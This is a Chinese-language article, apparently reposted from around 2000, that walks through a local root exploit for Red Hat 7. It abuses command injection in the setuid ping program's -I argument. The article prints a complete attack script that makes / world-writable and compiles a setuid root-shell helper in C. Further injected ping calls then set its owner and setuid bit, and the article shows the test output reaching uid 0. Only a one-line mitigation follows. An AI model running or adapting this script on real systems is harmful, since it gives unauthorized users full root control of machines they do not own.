redhat7本地利用ping拿root漏洞详析

王朝other·作者佚名  2008-05-19
宽屏版  字体: |||超大  

作者: 大鹰

首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或

perl来编写,推荐用shell写。

原理:

也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代

码,大家都知道ping程序的权位是这样的:

[Hello!sune4gle]$ ls -l /bin/ping

-rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping

ping程序调用了raw_socket的所有setuid位,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip

,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid

为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的

命令的话:

[Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &/dev/null

就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时

间我们可以写一个c程序,让他编译并且运行:

cat /x.c

main() {

setuid(0); seteuid(0);

system("chmod 755 /;rm -f /x; rm -f /x.c");

execl("/bin/bash","bash","-i",0);

}

_eof_

gcc /x.c -o /x

chmod 755 /x

到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个

setuid的rootshell啦,以下是写好的攻击代码:

#!/bin/sh

echo

echo "RedHat 7.0 exploit"

echo "(c) 2000 suneagle "

echo

echo "Enjoy hacking! :)"

echo

PING=/bin/ping

test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then

echo "Sorry, no setuid ping."

exit 0

fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &/dev/null

sleep 1

echo "Phase 2: compiling helper program in /..."

cat /x.c

main() {

setuid(0); seteuid(0);

system("chmod 755 /;rm -f /x; rm -f /x.c");

execl("/bin/bash","bash","-i",0);

}

_eof_

gcc /x.c -o /x

chmod 755 /x

echo "Phase 3: chown+chmod on our helper program..."

$PING -I ';chown 0 x' 202.102.3.1 &/dev/null

sleep 1

$PING -I ';chmod +s x' 202.101.23.1 &/dev/null

sleep 1

if [ ! -u /x ]; then

echo "Apparently, this is not exploitable on this system :("

exit 1

fi

echo "Ye! Entering rootshell..."

/x

echo "Thank you."

哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来:

首先我得有个普通帐户,嘿嘿

[Hello!sune4gle]$ ./getroot.sh

RedHat 7.0 exploit

(c) 2000 suneagle

Enjoy hacking!

Phase 1: making / world-writable...

Phase 2: compiling helper program in /...

Phase 3: chown+chmod on our helper program...

Ye! Entering rootshell...

[Hello!root]# id

uid=0(root) gid=500(sune4gle) groups=500(sune4gle)

[Hello!root]#

攻击后的log:

Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed

Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed

Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed

解决方法:

去掉或限制ping程序的setuid位

[Hello!sune4gle]# chmod 655 /bin/ping

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有